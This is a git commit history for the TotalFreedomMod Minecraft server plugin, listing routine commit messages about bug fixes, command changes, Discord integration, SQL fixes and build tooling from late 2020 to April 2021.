2021-04-26 20:46:11 +01:00
407b63e48b Fixes FS-137 2021-04-26 01:23:24 -06:00
be562fe722 ok, done (FS-156) 2021-04-26 00:58:28 -06:00
928ab41d7f Update Command_ride.java 2021-04-26 00:37:16 -06:00
d11d55b218 Vanished admins are no longer being counted (FS-148) (#41) 2021-04-24 14:06:28 +10:00
debb95fb4c video dev man (#51) 2021-04-24 13:03:11 +10:00
b9f7ab3ec3 Change punishment from kicking to muting on spam (FS-97) (#45) 2021-04-22 21:54:29 +10:00
2cdf1e66a6 Disables block gravity and makes it togglable (FS-89) (#50)
* Disables block gravity by default (FS-89)

* Combine these checks as Codacy ever so kindly suggested
2021-04-19 17:34:36 +10:00
20c2c4c96e Delete /wipeuserdata (FS-196) (#49) 2021-04-15 22:07:22 +10:00
d5238150d0 Curse be gone (#47)
Co-authored-by: Ryan <Wild1145@users.noreply.github.com>
Co-authored-by: Nathan Curran <30569566+Focusvity@users.noreply.github.com>
2021-04-13 14:13:47 +10:00
64a4e70c41 Merge pull request #48 from AtlasMediaGroup/abhi-fix
Strip role/user mentions (FS-191)
2021-04-12 16:45:13 -05:00
0c2f0a714c [+] Fix #replace() 2021-04-12 16:31:48 +05:30
4c67553bdd [+] Whitespace change! 2021-04-12 16:26:06 +05:30
ffab5e3c12 [+] Allman style formating 2021-04-12 16:01:31 +05:30
f7556a4861 [+] Remove redundant comments 2021-04-12 15:59:27 +05:30
385fc77771 [+] Done all the requested changes! 2021-04-12 15:44:51 +05:30
b852ea1822 [+] Update my account in developers list 2021-04-12 14:44:27 +05:30
4a5a3a1a2d [+] Fix FS-191 2021-04-12 13:57:58 +05:30
37762e5470 Merge pull request #39 from AtlasMediaGroup/Elmon11-patch-2
clearinv option in smite (FS-161)
2021-04-11 22:15:26 +01:00
85d90090c8 Merge branch 'development' into Elmon11-patch-2 2021-04-11 18:41:54 +01:00
09930c2d9a Merge pull request #43 from VideoGameSmash12/development
Consistency fixes (across 46 commands), additional CoreProtect integration (/dispfill and /setlever), and a critical bugfix (/setlever) (FS-162)
2021-04-10 12:56:32 +01:00
7ae1ab035a Merge branch 'development' into development 2021-04-10 12:50:52 +01:00
2bd1787663 Updated supported versions for TFM. 2021-04-10 12:45:56 +01:00
765b7dcc4b Merge branch 'development' into development 2021-04-10 12:39:47 +01:00
091381a076 Merge pull request #44 from AtlasMediaGroup/FS-145
Update JDA version and location (FS-145)
2021-04-10 12:39:08 +01:00
27dfd71b2e Update JDA version and location (FS-145) 2021-04-09 21:20:33 +10:00
16e06bd932 Forgot I had this there 2021-04-07 19:45:03 -06:00
a33c310757 Fucking shit 2021-04-07 19:41:13 -06:00
df21bdfa7e Other bug fixes
Credit to Fleek for some of the code here.

Bugs that were fixed:
* [Media] showing up with an extra space at the beginning of blank messages with attachments
* Admin chat using incorrect colors for its ranks in messages from Discord to Minecraft
* Admin notes not sending to admins, only admin impostors
2021-04-07 19:40:19 -06:00
d7e2c0da42 Merge branch 'development' into Elmon11-patch-2 2021-04-07 11:52:16 +10:00
a7529b41fb Oops 2021-04-05 18:08:24 -06:00
c4fce3f0f9 Right, so this change applies only to commands. For the sake of code consistency, I tried to change as many as possible to use FreedomCommand.msg instead of CommandSender.sendMessage for their messages. Here are a list of the files containing those changes:
* Command_adminworld.java
* Command_adventure.java
* Command_banip.java
* Command_blockedit.java
* Command_blockpvp.java
* Command_cage.java
* Command_cartsit.java
* Command_clearchat.java
* Command_clearinventory.java
* Command_commandlist.java
* Command_creative.java
* Command_deop.java
* Command_deopall.java
* Command_dispfill.java
* Command_doom.java
* Command_gcmd.java
* Command_hubworld.java
* Command_inspect.java
* Command_list.java
* Command_lockup.java
* Command_manageshop.java
* Command_manuallyverify.java
* Command_masterbuilderworld.java
* Command_mbconfig.java
* Command_moblimiter.java
* Command_mp44.java
* Command_mute.java
* Command_nickfilter.java
* Command_op.java
* Command_opall.java
* Command_opme.java
* Command_potion.java (Also corrected the inconsistent "player not found" message's color)
* Command_rank.java
* Command_ride.java
* Command_saconfig.java
* Command_scare.java
* Command_setplayerlimit.java
* Command_settotalvotes.java
* Command_smite.java
* Command_spectator.java
* Command_survival.java
* Command_unblockcmd.java
* Command_uncage.java
* Command_unmute.java
* Command_verifynoadmin.java

Here are some commands I added functionality to:
* Command_dispfill.java: Added some code that hooks into the CoreProtect API to log the items being removed from and added into the dispensers.
* Command_setlever.java: Added some code that hooks into the CoreProtect API to log the levers being interacted with.

Here's a command I fixed a critical bug in:
* Command_setlever.java
2021-04-05 17:13:26 -06:00
27f5f18962 FS-143 Resolution (#42)
* Bump to patch version.

* Fixes FS-143

Various changes to make it work better with logging and things like that.
2021-04-06 07:11:12 +10:00
dca5e30291 Actually display assistant exec in game (#37)
* Actually display assistant exec in game

* Update RankManager.java

* Update ConfigEntry.java

* Update FUtil.java

Co-authored-by: Nathan Curran <30569566+Focusvity@users.noreply.github.com>
2021-04-04 22:24:06 +10:00
09a435053e Merge pull request #40 from AtlasMediaGroup/phoenix-patch-1
Remove /premium
2021-03-31 17:12:56 -05:00
14309275fb Remove /premium 2021-03-31 15:16:01 -05:00
2375e92d90 Merge pull request #36 from AtlasMediaGroup/tfm-bugfix-001
FS-143
2021-03-26 15:43:22 +00:00
97672c2fff Update DiscordToAdminChatListener.java
This is the only way we can load media after [Discord] and [Formatting] without rewriting the method
2021-03-22 09:57:09 -05:00
5837b05a35 Merge branch 'tfm-bugfix-001' of https://github.com/AtlasMediaGroup/TotalFreedomMod into tfm-bugfix-001 2021-03-21 14:02:51 -05:00
b3b68ebd13 Switch to Allman Formatting 2021-03-21 14:02:43 -05:00
2dbbb5c262 Intellij says this is fine so if it breaks again gg 2021-03-21 19:07:07 +01:00
e45655edbb im a clown 2021-03-21 18:33:38 +01:00
9713fcabd6 Should work fingers crossed 2021-03-21 18:25:28 +01:00
dc10c40578 noclear option in smite 2021-03-21 13:57:24 +01:00
db3c190b2b Merge branch 'development' into tfm-bugfix-001 2021-03-21 16:11:13 +11:00
2725857364 Merge pull request #38 from AtlasMediaGroup/FS-147
Fix ban expiration (FS-147)
2021-03-20 22:14:10 -05:00
9f291f675c Use 'toEpochMilli()' instead (FS-147) 2021-03-21 13:44:55 +11:00
561c192c27 Fix bans not expiring (FS-147) 2021-03-21 12:21:15 +11:00
086dec28ac Merge branch 'development' into tfm-bugfix-001 2021-03-19 23:31:31 +00:00
b03870c0aa SQL Fixes
:)
2021-03-19 10:39:58 -05:00
f5c08cd28b Merge pull request #34 from AtlasMediaGroup/2021.02-release
Bump version to 2021.02 Release
2021-03-19 14:26:02 +00:00
2a87271642 Should fix FS-143 2021-03-19 08:58:29 -05:00
3b57aec0e8 Merge branch 'development' into 2021.02-release 2021-03-18 23:57:10 +00:00
efac65bc76 Merge pull request #35 from AtlasMediaGroup/FS-58
Fix checkstyle & other formatting
2021-03-18 23:17:25 +00:00
9c8fe6c590 Fix checkstyle & other formatting
This should help clear a lot of the "Security" alerts resolving FS-58
2021-03-18 22:42:52 +00:00
9f52cdf753 Merge branch 'development' into 2021.02-release 2021-03-18 22:28:53 +00:00
216234ea01 Merge pull request #32 from AtlasMediaGroup/FS-33
Properly fix FS-33
2021-03-18 16:20:06 -05:00
881dead392 Merge branch 'development' into 2021.02-release 2021-03-19 08:04:36 +11:00
ff2bca26aa Merge branch 'development' into FS-33 2021-03-18 19:58:10 +00:00
89ad934aa6 Bump version to 2021.02 Release 2021-03-18 19:18:11 +00:00
d0a195647c Merge pull request #33 from AtlasMediaGroup/FS-93
Fixed permission not setting for new players (FS-93)
2021-03-17 09:06:45 -05:00
eb05b05042 Fixed FS-93
- Players no longer need to relog, just need to be opped to get permissions.
- Removed redundant PlayerJoinEvent code as it's already been executed (See RankManager class).
2021-03-16 20:21:31 +11:00
b9c1970d20 Update player's permission when opping. 2021-03-16 19:56:29 +11:00
9eca9ac5b2 Remove double storage
It is unnecessary as the information is already stored in a map (Username, IPs)
2021-03-08 11:34:48 +11:00
5b577fae07 Add myself to developer list 2021-03-07 20:46:30 +11:00
452a8755c2 Properly fix FS-33 2021-03-07 20:43:25 +11:00
2fb8f224e7 Bump release to 2021.02-RC03 2021-03-06 23:38:46 +00:00
b6a2c8e021 Merge pull request #29 from AtlasMediaGroup/abhi-test
Added myself to TFM
2021-03-06 20:32:04 +00:00
f0a25fde0c Merge branch 'development' into abhi-test 2021-03-06 20:03:19 +00:00
4324497831 Merge pull request #31 from AtlasMediaGroup/Wild1145-patch-1
Tell CodeQL we're using Java 11 hopefully
2021-03-06 20:03:02 +00:00
14c53b7370 Merge branch 'development' into Wild1145-patch-1 2021-03-06 19:47:48 +00:00
0396b8ad86 Merge pull request #30 from AtlasMediaGroup/frontdoor-and-banExpiry-only
fix banning/?? Resolves FS-130
2021-03-06 19:46:57 +00:00
8ee7486afc Merge branch 'development' into frontdoor-and-banExpiry-only 2021-03-06 19:38:01 +00:00
694d9614c5 Tell Maven to also build Java 11 for once 2021-03-06 19:28:38 +00:00
150e25072a Tell CodeQL we're using Java 11 hopefully 2021-03-06 19:14:46 +00:00
7d990ae2c0 [+] Remove .idea 2021-03-06 23:50:23 +05:30
0dd5a26efa Merge branch 'frontdoor-and-banExpiry-only' of https://github.com/AtlasMediaGroup/TotalFreedomMod into frontdoor-and-banExpiry-only 2021-03-06 12:12:59 -06:00
5c097c83cb Here's to hoping this fixes that stupid ban crap. 2021-03-06 12:00:32 -06:00
a85dd014a0 Added .idea in gitignore 2021-03-06 13:05:42 +05:30
342df43f85 Added myself to TFM 2021-03-06 13:04:36 +05:30
d4be858c46 2021.02-RC02 Release Bump
Version bump with some Netbeans Config updates to use Java 11 as we should have been.
2021-03-05 21:44:38 +00:00
ec9a6e0d5b paldiu did some shit
FS-63 (FrontDoor)
FS-130 (Bans)
2021-03-04 20:37:31 -05:00
9161016f73 Merge branch 'development' into frontdoor-and-banExpiry-only 2021-03-03 11:52:37 -06:00
bdd22f8d75 Update month to be 30 days instead of 4 weeks 2021-03-03 12:50:45 -05:00
ce103ffd50 Merge pull request #28 from AtlasMediaGroup/abhi-test
fixes of JIRA issues.
2021-03-02 20:45:18 -06:00
85c35f25a3 [+] Fix codacy issue 2021-03-03 06:47:22 +05:30
c29b312101 [+] Remove .idea 2021-03-02 23:11:17 +05:30
a4ead85701 add annotations dependency 2021-03-01 23:03:49 -06:00
46273b3301 Revert "SQL PreparedStatement Fixes"
This reverts commit 17347c23a5.
2021-03-01 23:03:13 -06:00
d6b74a76bb [+] Fix of FS-33 2021-02-28 21:28:20 +05:30
6f66957b17 Few fixes for JIRA issues.... 2021-02-28 21:08:39 +05:30
17347c23a5 SQL PreparedStatement Fixes 2021-02-26 15:29:02 -06:00
718748f1a2 Commit Ultimate
ultimate super mega mode power upgrade
2021-02-26 15:26:13 -06:00
96d1c53ede First release candidate
Bumping version and build code name for the first release candidate of the 2021.02 release.
2021-02-26 16:53:00 +00:00
1293a8aa1e Merge pull request #26 from AtlasMediaGroup/ivan
Ruh-Roh Raggy!
2021-02-25 17:58:12 -05:00
96424694ee fix codacy errors 2021-02-25 17:03:31 -05:00
0367d9fd3a my end of the bargain 2021-02-25 16:42:30 -05:00
3b666f1fde Merge pull request #25 from AtlasMediaGroup/Elmon11-patch-1
removing BukkitTelnet from untouchable plugins
2021-02-17 18:25:19 -05:00
ec51cb7408 removing BukkitTelnet from untouchable plugins 2021-02-17 22:03:35 +01:00
4023394562 Merge pull request #24 from AtlasMediaGroup/FS-38
Remove duplicate config
2021-02-14 18:19:30 +00:00
5d312a12d4 Remove the duplicates that I can see based off of the recent warn
Heap is entirely removed as it doesn't appear to now be a valid command. The rest are duplicated elsewhere. When in doubt the highest level of restriction was applied.
2021-02-14 18:05:32 +00:00
b88cdf1250 Re-Base Config against Freedom-01
Ensures all the variables we probably have changed and that run as standard are set, commands that are blocked are updated and anything else I could think of are up to date.
2021-02-14 17:44:57 +00:00
ebec598120 Fix file permissions 2021-02-06 23:56:15 +00:00
aa060ea4d8 Update README with security info 2021-02-06 23:42:03 +00:00
fc3eef4d90 Fixed Travis Build Status 2021-02-06 23:06:15 +00:00
44ac012165 Re-adding Travis file based off of the original ones. 2021-02-06 22:44:50 +00:00
500d0e1044 Let's start using TravisCI Again
It just makes sense...
2021-02-06 22:43:29 +00:00
400a90b385 Merge pull request #21 from AtlasMediaGroup/smartnt-patch-1
Add new developers to util
2021-01-25 21:28:43 -05:00
b8a741aa58 Add new developers to util
Hopefully this doesn't fuck up this time - last PR my Macbook was having issues with for some reason.
2021-01-25 20:36:58 -05:00
a3929ec07e Merge pull request #19 from AtlasMediaGroup/permission-changes
merging according to wild's comments
2021-01-17 04:11:31 +01:00
8225daf6f1 permission changes & remove massmurder
resolves FS-69, FS-70, FS-71
2021-01-10 16:23:20 -05:00
8dce71eca1 Merge pull request #18 from AtlasMediaGroup/revert-15-sql-fix
Revert "SQL fix"
2021-01-10 20:45:13 +00:00
a2243abf2d Revert "SQL fix" 2021-01-10 20:44:57 +00:00
009b983c9a Merge pull request #15 from AtlasMediaGroup/sql-fix
SQL fix
2021-01-10 20:36:57 +00:00
1b3876cffa Merge branch 'development' into sql-fix 2021-01-10 15:06:40 -05:00
ed48ce3a8f Merge pull request #11 from AtlasMediaGroup/paldiu-local
Removal of Lombok
2021-01-10 15:06:22 -05:00
830daab8f4 Fix Daemon Error
Reflection issue when initializing the daemon; trying to call a constructor with one argument using two arguments.

Removed an unused constructor.
2021-01-08 17:32:54 -06:00
9688827a39 formatting 2021-01-08 10:10:54 -05:00
3464a33678 NPE on Thread.join() possible fix
This bug is hard to decipher mainly due to the thread being terminated somewhere before the thread.join is called. this may be due to the safeClose method defined with serverSocket, but again, I'm not too sure what's up here. This may also be because something failed to execute in one of the try catch statements, causing the thread to never be initialized in the first place.
2021-01-08 00:25:46 -06:00
5754d70d05 Merge branch 'development' into sql-fix 2021-01-07 14:46:13 -05:00
fbf2972006 Merge branch 'sql-fix' into paldiu-local 2021-01-07 13:40:59 -06:00
aa2836b29a Merge branch 'mbw-fix' into paldiu-local 2021-01-07 13:39:51 -06:00
260368585e reformat 2021-01-07 13:29:47 -06:00
323fd1a031 Should be fine now 2021-01-04 18:27:57 -06:00
c7b0f77910 Merge branch 'development' into paldiu-local 2021-01-04 13:14:53 -06:00
7fb6a2f087 Merge pull request #17 from AtlasMediaGroup/Elmon11-patch-1
Fix developer title not showing up on Offline mode servers
2021-01-03 13:47:14 -05:00
e32c2eed15 Update FUtil.java 2021-01-03 19:23:10 +01:00
7afa80c89f Update FUtil.java 2021-01-03 19:18:14 +01:00
a3cccc7ac0 Update FUtil.java 2021-01-03 19:16:41 +01:00
bc37ed5341 Fix developer title not showing up on Offline mode servers 2021-01-03 19:04:23 +01:00
0a5ce5b9cc fix w/e in mbw 2020-12-31 13:06:05 -05:00
a4e23dc03f Codacy Complacency Part 2 2020-12-29 22:14:57 -06:00
7a394e52e4 Codacy complacency 2020-12-29 22:06:12 -06:00
9352a48650 Finalized lombok removal
Finally removed all lomboks, also reduced npath complexity for FreedomCommand.FCommand#execute and removed empty constructor from Discord
2020-12-29 21:37:50 -06:00
a849e01ce5 Merge pull request #12 from AtlasMediaGroup/FS-59
admin chat discord formatting (FS-59)
2020-12-29 15:34:48 -05:00
fd725ca6c5 Merge branch 'development' into paldiu-local 2020-12-28 22:51:44 +00:00
0703ea685e Merge branch 'development' into FS-59 2020-12-28 22:51:21 +00:00
1ba468cbfc Merge branch 'development' into sql-fix 2020-12-28 17:49:11 -05:00
91dc89013c Merge pull request #14 from AtlasMediaGroup/mojangson-update
Mojangson update
2020-12-28 22:44:20 +00:00
7cdeac451b SQL fix 2020-12-28 17:39:07 -05:00
5b8cf2798e Update pom.xml 2020-12-28 17:05:52 -05:00
98158e0f27 mojangson update 2020-12-28 17:04:14 -05:00
c0ac0365eb Merge pull request #13 from AtlasMediaGroup/Elmon11-patch-1
Make gcmd not work on admins

//MERGE COMMIT:
At least one build check passed, the failing check is irrelevant.
2020-12-28 07:41:58 -05:00
0c60cbc739 Update Command_gcmd.java 2020-12-28 00:18:05 +01:00
402a6be5ad Make gcmd not work on admins 2020-12-28 00:04:57 +01:00
9d131f0f24 ok codacy 2020-12-26 19:11:15 -05:00
b9606fa0e3 admin chat discord formatting (FS-59) 2020-12-26 18:54:15 -05:00
d71f5452ad Changed instance of SplittableRandom back to Random
Overridable methods required Random instead of SplittableRandom and caused a build failure in the previous commit. This should fix the build failure.
2020-12-26 10:30:30 -05:00
eb9759f2d8 Replaced All Instances of Random With SplittableRandom
SplittableRandom is faster (negligable) than Random and is also able to recursively return new instances of itself for an even more complex pseudo random generator compared to the default Random supplied by Java.
2020-12-25 15:57:10 -05:00
dec35f76e4 Minor fix
Switched from a lengthy if else to a ternary.
2020-12-25 15:51:17 -05:00
97edce0a67 Fixes for Codacy;
These fixes are designed to satisfy codacy.

However, codacy reports a NPath Complexity of 649, whereas the current, recommended, and standardized threshold is 200.

This is caused by FreedomCommand#execute(CommandSender, String, String[]);
2020-12-25 15:35:33 -05:00
361aa4ee04 Bugfix on Commit #5c0f77c
A mismatched argument count during constructor initialization in Module_logs.class was fixed in this patch.
2020-12-25 15:20:34 -05:00
5c0f77c7c5 Removal of Lombok
Lombok implementation removal.

I have also gone through and replaced things with inline methods and variables, lambdas, and simplified loops down, removed unnecessary guard clauses, and overall cleaned up every single class. This took a long time, please do remember to follow proper naming conventions, don't include unnecessary guard clauses, follow exception rules and comment rules, and please PLEASE remember to use the DIAMOND OPERATOR rather than just inferring RAW TYPES!!!

Thank you!!
2020-12-25 14:46:43 -05:00
210b0f8b43 unnecessary 2020-12-24 20:07:09 -05:00
585fdb7992 fix verification toggle breaking everything (FS-39) 2020-12-24 19:48:52 -05:00
6d05e9b924 Merge pull request #10 from AtlasMediaGroup/maven-sec
Moved Repo's to HTTPS
2020-12-24 19:33:04 -05:00
fb314170c1 Moved Repo's to HTTPS 2020-12-24 22:52:35 +00:00
218d720b06 Merge pull request #9 from AtlasMediaGroup/FS-12
Update social links in line with live config
2020-12-24 14:18:33 -05:00
7bf97a03c4 Update social links in line with live config
The current server config has these links and those ones commented out. While I do now own them not all of them I'm actively using but thought it'd be good to keep this sync'd up.

Resolves FS-12
2020-12-24 18:36:27 +00:00
de496970d9 remove reddit system
jraw free 🦀🦀🦀
2020-12-24 13:09:42 -05:00
c8ec171b11 Update Discord.java 2020-12-23 20:13:26 -05:00
caf126f543 elmon
fix underscore italic thing
2020-12-23 20:09:57 -05:00
a717cce3b5 fix admins being able to see senior commands 2020-12-18 21:43:24 -05:00
ce32490b4d Update Module_list.java 2020-12-16 17:46:27 -05:00
5d882d9052 Update Module_list.java 2020-12-16 23:42:44 +01:00
7dfd6c0b8b Update Module_list.java 2020-12-16 23:37:14 +01:00
fa5c774f45 Remove developer who has been suspended indefintely. 2020-12-15 20:53:07 +00:00
c356ecd168 formatting & rename stuff 2020-12-14 19:05:13 -05:00
f8ce64d6c3 Merge pull request #8 from SupItsDillon/development
FS-5 Allow the verification system to be enabled / disabled in config (2)
2020-12-14 19:09:57 +00:00
39d5b610a1 Update WorldRestrictions.java 2020-12-12 12:59:19 -05:00
50643eb9ff Update Command_verify.java
ood code again
2020-12-09 16:03:40 +00:00
687166e0a4 Update Discord.java
formatting screwed up
2020-12-09 16:00:18 +00:00
98ead06355 Update Command_manuallyverify.java
ood file
2020-12-09 15:59:12 +00:00
cbc3795ef2 Update Command_playerverification.java
i should really keep my files updates
2020-12-09 15:55:45 +00:00
b9d608222e Update Command_playerverification.java
fixed codacy issue
2020-12-09 15:48:27 +00:00
777a66f8da Update Discord.java
correct updated file
2020-12-09 15:37:31 +00:00
6441deceab Update Command_playerverification.java
codacy is being fussy
2020-12-08 19:35:02 +00:00
1fedb1fad3 Update Discord.java
forgot to change this aswell
2020-12-08 19:28:47 +00:00
8b1cef3b83 Update Discord.java
whoops i did change something i didnt want to
2020-12-08 19:26:00 +00:00
81ef3d624a Update Discord.java
cant remember if i changed anything since last commit
2020-12-08 19:17:06 +00:00
b0c0f17043 Update Command_manuallyverify.java
discord verify enable disable
2020-12-08 19:16:28 +00:00
fb3cdf3603 Update Command_playerverification.java
discord enable disable verification
2020-12-08 19:15:55 +00:00
950c975e8f Update Command_verify.java
discord verification config
2020-12-08 19:15:17 +00:00
79c8ea301d Update config.yml
config option for discord verification
2020-12-08 16:10:14 +00:00
7a11c9062d Update ConfigEntry.java
config option for verification
2020-12-08 16:09:26 +00:00
2037775276 Update Discord.java
stuff to disable or enable discord verification
2020-12-08 16:08:31 +00:00
4a3ce64412 Merge pull request #1 from AtlasMediaGroup/development
updated stuff
2020-12-08 16:07:04 +00:00
681695150a Merge pull request #6 from AtlasMediaGroup/Wild1145-patch-1
Block new CoreProtect stuff better
2020-12-05 21:10:27 +00:00
e98682a1af Delete Command_gsay.java
https://forum.totalfreedom.me/d/114-why-is-gchat-now-gsay-back/13
2020-12-05 22:05:29 +01:00
92534640d4 Block new CoreProtect stuff better 2020-12-05 19:01:09 +00:00
695ccd0e71 /list -a
/list -s still exists
2020-12-04 10:37:40 -05:00
0be2aa718f ok 2020-12-03 20:50:30 -05:00
b3b9c2ef43 \ 2020-12-03 20:46:10 -05:00
293ea04c56 staff -> admins
* rename everything containing staff back to admin (as requested by ryan i've renamed commands like slconfig to saconfig but left "slconfig" as an alias)
* format almost every file correctly
* a few other improvements
2020-12-03 19:28:53 -05:00
aae1f524ea updating social and voting links 2020-12-02 22:25:17 +01:00
7871acc215 Merge pull request #5 from AtlasMediaGroup/Wild1145-patch-1
Update checkstyle.xml
2020-12-02 20:50:01 +00:00
153b87c3b3 Update checkstyle.xml
Think this should fix a load of our new warnings.
2020-12-02 20:40:32 +00:00
932fa467ba Update README.md 2020-12-02 20:31:44 +00:00
82804fcac2 Create codacy-analysis.yml 2020-12-02 20:23:31 +00:00
8ed35aba2b add "Interaction" result action string check
fixes container interactions being logged as block removals
2020-12-01 18:53:28 -05:00
4898bcf7b5 Merge pull request #2 from AtlasMediaGroup/Elmon11-patch-1
reordered response object and reformat
2020-12-02 00:16:39 +01:00
495c91f5bb Merge pull request #3 from AtlasMediaGroup/Elmon11-patch-2
checks if a player is OP before opping them
2020-12-01 17:52:54 -05:00
42199f9923 Update Command_opall.java 2020-12-01 23:45:32 +01:00
03a6f18d18 checks if a player is OP before opping them
response to
338fc81b7f (r533706741)
2020-12-01 23:44:00 +01:00
aff12edb03 reordered response object and reformat
reordered response object and changed senioradmins & masterbuilders to senior_admins & master_builders for consistency with the bot
2020-12-01 23:10:01 +01:00
c0a7ee1bb6 Final fix to security readme (I hope) 2020-12-01 19:43:45 +00:00
8c0db481ae Update SECURITY.md
Helps when you delete the template...
2020-12-01 19:43:07 +00:00
6084e7cb63 Create SECURITY.md 2020-12-01 19:42:16 +00:00
e40138dee6 Update maven.yml 2020-12-01 19:35:11 +00:00
28576a9e8b new developers ! ! ! 2020-11-30 19:03:51 -05:00
c1d4e126a3 add block inspector for ops
* adds /inspect (or /ins) as a /co i replacement command for OPs. container and sign logging are still a WIP for this command.
* replaces "Rank must be Trial Mod or higher." with "Rank must be Admin or higher." in slconfig
* replaces "scripthead is the owner of TotalFreedom." with "Wild1145 is the owner of TotalFreedom." in the config
2020-11-30 18:17:27 -05:00
6cd995ff52 sql fixes & more
fixes slconfig sql error
fixes nickclean npe
fixes a few command inconsistensies
2020-11-24 11:53:37 -05:00
495133da1a Let's see if this works. 2020-11-22 23:45:29 +00:00
de0d6853b7 revert calebs broken patch 2020-11-19 23:22:00 -06:00
5cdbae0166 Update ActivityLogEntry.java 2020-11-14 20:26:49 -06:00
a537183545 Add adminchat channel 2020-11-14 20:13:59 -06:00
2c19ce5c65 Adds https://tracker.telesphoreo.me/d/4-mbconfig-clearip 2020-11-09 21:05:33 -06:00
609053e13f oops 2020-11-09 20:16:26 -06:00
a3837a0e06 Resolves https://tracker.telesphoreo.me/d/3-fix-mb-config 2020-11-09 20:11:21 -06:00
0adee3582b d 2020-11-08 21:08:44 -06:00
08bfd73eec Delete FAWEBridge 2020-11-08 20:09:49 -06:00
9a7cc52e03 Fix players being marked as an impostor when the Discord verification system is disabled 2020-11-08 20:05:54 -06:00
11984bc46f Update BukkitTelnetBridge.java 2020-11-08 19:26:52 -06:00
8ac5bc827a Rename gchat to gsay 2020-11-07 22:21:06 -06:00
366287eb24 Fix reports being logged multiple times to console 2020-11-07 21:00:49 -06:00
43c2df58c7 knew there'd be a nms update 2020-11-02 23:33:04 -06:00
d0acfcf674 Delete Jenkinsfile 2020-10-29 21:38:24 -05:00
88ccd8edfd Delete .travis.yml 2020-10-29 21:38:11 -05:00
7f9e2af9a6 Update README.md 2020-10-29 21:37:34 -05:00
f9269f1fe4 Update maven.yml 2020-10-29 21:37:05 -05:00
a5359ec580 Update README.md 2020-10-29 21:33:18 -05:00
e3a6f5127f fix wildcard and add back some beloved commands 2020-10-29 21:24:06 -05:00
e1e046b16b lol whos the idiot who made this embarassing command 2020-10-29 20:47:23 -05:00
7d93050ff9 I assume 1.16.4 will have an NMS update 2020-10-29 18:59:54 -05:00
fadcb9ad5d TotalFreedomMod 2020.11 2020-10-29 18:47:53 -05:00
49f7c6e8c3 Merge pull request #292 from speedxx/development
fix ride request expire messages
2020-10-29 15:06:29 -05:00
9bcdb2bcdc fix ride request expire messages
fixes /ride sending request expired message even after accepting & properly remove player from map after accepting, #291
2020-10-28 18:06:12 -04:00
ca4670ed89 Merge pull request #290 from speedxx/development
getDeterminer() -> getArticle()
2020-10-25 12:43:34 -05:00
adf71cb020 Update RankManager.java 2020-10-25 13:24:41 -04:00
6e84fdad23 Login messages
Last commit from me. Don't have the power but to me Packs is the new Lead Developer
2020-10-25 09:27:56 -07:00
2ecfd9610f br 2020-10-19 19:07:44 -05:00
bb33778fc9 [Maven] FAWE 2020-10-16 22:33:33 -05:00
d4d1000c16 Merge pull request #289 from Focusvity/pr/discord
Enable media tag to be included in messages
2020-10-16 21:36:38 -05:00
5a96204f1b Tidy things up a bit 2020-10-16 17:51:21 +11:00
3bd72dacda Enable media tag to be included in messages 2020-10-16 17:33:58 +11:00
a4c8dad865 Merge pull request #288 from Focusvity/pr/perm-config-fix
Fix NPE
2020-10-15 21:40:14 -05:00
82e7a3b659 Fix NPE (https://github.com/TFPatches/TotalFreedomMod/issues/287) 2020-10-16 13:37:25 +11:00
586fa98c32 Merge pull request #286 from Focusvity/pr/discord-media
Use Component API for attachments
2020-10-15 21:37:15 -05:00
a8f95bcb19 Use Component API for attachments 2020-10-16 13:20:20 +11:00
82d92565e7 lol 2020-10-13 13:37:11 -07:00
533e4fe369 Login messages for players. Still need to come up with login messaghes 2020-10-02 02:27:06 -07:00
f8304aecd7 fix 24 hour bans 2020-09-29 23:54:17 -07:00
ac6e58ff9e and this is why I approve things before it goes on the server 2020-09-29 17:24:28 -07:00
4be2a1e05b throwback thursday 2020-09-27 22:53:11 -05:00
59831ef1f3 Finish the job 2020-09-27 22:17:01 -05:00
54e6e2f9b1 relying on someone else to look this over to see if i missed anything 2020-09-27 21:51:15 -05:00
d203772a9a This somehow got reverted back to the old version
Reblocks bigtree in the plotworld as it is used to grief. Players can still use the /tool tree comamnd from WorldEdit to achieve the same thing
2020-09-26 14:52:13 -05:00
55522e8191 quick bump for the october 2020 update 2020-09-25 20:36:58 -05:00
ac3d0fca88 Allow executives to manage the shop 2020-09-18 18:04:21 -07:00
eb6514332e fix the config issues 2020-09-14 21:58:46 -05:00
098d3e4cf1 i hope thisll work 2020-09-14 20:54:14 -05:00
81eb333b6a Pterodactyl 2020-09-14 02:36:25 -07:00
3057421d6d Fixed the last bug for now 2020-09-12 14:42:12 -05:00
9cb96e81ac Fix all the bugs 2020-09-11 22:27:26 -05:00
d67189e170 e 2020-09-07 15:14:30 -05:00
451ef8f009 Merge pull request #280 from CoolJWB/development
Potion command fix & performance
2020-09-06 21:28:22 +02:00
7af53448be Potion command fix and refreshment
The potion command didn't work for OPs due to some misstake that made it think that all commands were executed on other players (a staff only feature).
It now instead uses switches to execute for better performance and readability.
2020-09-06 21:25:15 +02:00
2072c89f77 Merge branch 'development' of https://github.com/TFPatches/TotalFreedomMod into development 2020-09-06 18:52:04 +02:00
43b266f17d Update NMS + Use PaperLib for teleportAsync 2020-08-30 19:13:46 -05:00
c61f7e78fd Update for 1.16.2 2020-08-30 14:39:07 -05:00
14ab1e95b5 Merge branch 'development' of https://github.com/TFPatches/TotalFreedomMod into development 2020-08-30 00:27:13 +02:00
44fe8f6f94 Merge pull request #279 from speedxx/development
fix spectral arrows bypassing pvp blocking
2020-08-28 10:16:37 -05:00
1c487a6a60 fix spectral arrows bypassing pvp blocking 2020-08-27 14:55:39 -04:00
6f4cc8d4b5 Optimized FAWE bridge 2020-08-24 22:44:45 +02:00
f98f6990ea Merge pull request #278 from speedxx/patch-1
:)
2020-08-23 00:19:48 -05:00
4c81c94702 :) 2020-08-22 13:04:03 -04:00
aaa495cf41 Merge pull request #277 from speedxx/development
use UUIDs for developers
2020-08-19 19:42:54 -07:00
72322f2e56 use UUIDs for developers 2020-08-19 21:19:15 -04:00
04fee7d5c1 Merge pull request #276 from speedxx/development
fix vanish bug
2020-08-18 23:18:34 -05:00
d38ddac311 fix vanish bug 2020-08-18 22:56:32 -04:00
d65f584707 Merge pull request #275 from CoolJWB/development
Mistakes were made
2020-08-18 17:24:30 +02:00
ff42713f92 Mistakes were made 2020-08-18 17:22:43 +02:00
5047363f83 Merge pull request #274 from Focusvity/patch-1
Make sure you check the code @CoolJWB
2020-08-18 09:48:07 -05:00
34a0dae305 Make sure you check the code @CoolJWB 2020-08-18 18:23:19 +10:00
ebc07f6259 Merge pull request #273 from CoolJWB/development
Updated my own code
